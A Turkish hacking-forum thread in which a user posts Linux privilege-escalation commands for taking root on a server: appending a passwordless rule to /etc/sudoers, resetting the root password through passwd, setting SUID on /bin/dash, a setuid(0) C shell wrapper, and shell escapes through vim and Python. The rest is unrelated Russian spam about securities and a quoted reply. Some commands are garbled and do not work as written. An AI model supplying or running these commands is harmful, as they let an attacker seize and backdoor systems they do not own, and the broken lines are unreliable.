Linux Privilege Escalation

Tr0n

Legendary
legendary
Katılım
7 Eki 2021
Mesajlar
15
Reaction score
25
Puanları
13
Merhaba arkadaşlar bu konuda sizler suid ile serverda yetki yükseltme işlemini göstericem normal kullanıcıyı nasıl root ve ya root kullanıcının parolasın değişmeyi göstercem
Bir Kullanıcıyı root gibi komut çalıştıra bilecek şekilde ayarlamak:
echo “yetkisizhesap ALL=(ALL) NOPASSWD:ALL” >> /etc/sudoers

echo “yetkisizhesap ALL=(ALL) NOPASSWD:ALL” >> sudo tee -a /etc/sudoers
Bir kullanıcıyı Admin grubuna eklemek:
usermod -a -G admin yetkisizhesap
Root hesabının parolasın değişmek:
echo “yeniparola\nyeniparola” | passwd root
Root hesabının parolasın değişmek2:
echo -e ” yeniparola\nyeniparola” | passwd root
Root hesabının parolasın değişmek3:
echo -e “yeniparola” | passwd root
Root hesabının parolasın değişmek4:
echo “yeniparola” | passwd -stdin root
/bin/dash'ı herkes tarafından çalıştırılabilir hale getirmek
#\!/bin/bash
chmod u+s /bin/dash
Sonrasında bin dash a geçilir
/bin/dash
/bin/bash ın SUID ve GUID ile kullanıla bilir hale getirmek
int main(void)
{
setgid(0);
setuid(0);
system(“/bin/bash”); // execl(“/bin/sh”, “sh”, 0);
}
VIM ile rootlama:
sudo vim -c ':!/bin/sh'
Suid ile rootlama:
python -c 'import pty; pty.spawn("/bin/sh")'
 
Katılım
13 Kas 2021
Mesajlar
1
Reaction score
0
Puanları
1
СЭЗ "Дангара" стала лидером по объемам вложенного в нее капитала.
Рыночный риск возникает при резких потрясениях на рынке ценных бумаг или в экономике в целом. При этом инвестиционная привлекательность некоторых ценных бумаг может снижаться. Стоимость таких ценных бумаг падает до уровня номинальной цены, а иногда и ниже.
Участниками рынка ценных бумаг являются эмитенты ценных бумаг, инвесторы и инвестиционные институты.

читать статью
 

Tr0n

Legendary
legendary
Katılım
7 Eki 2021
Mesajlar
15
Reaction score
25
Puanları
13
СЭЗ "Дангара" стала лидером по объемам вложенного в нее капитала.
Рыночный риск возникает при резких потрясениях на рынке ценных бумаг или в экономике в целом. При этом инвестиционная привлекательность некоторых ценных бумаг может снижаться. Стоимость таких ценных бумаг падает до уровня номинальной цены, а иногда и ниже.
Участниками рынка ценных бумаг являются эмитенты ценных бумаг, инвесторы и инвестиционные институты.

читать статью
о чем ты говоришь?
 
Üst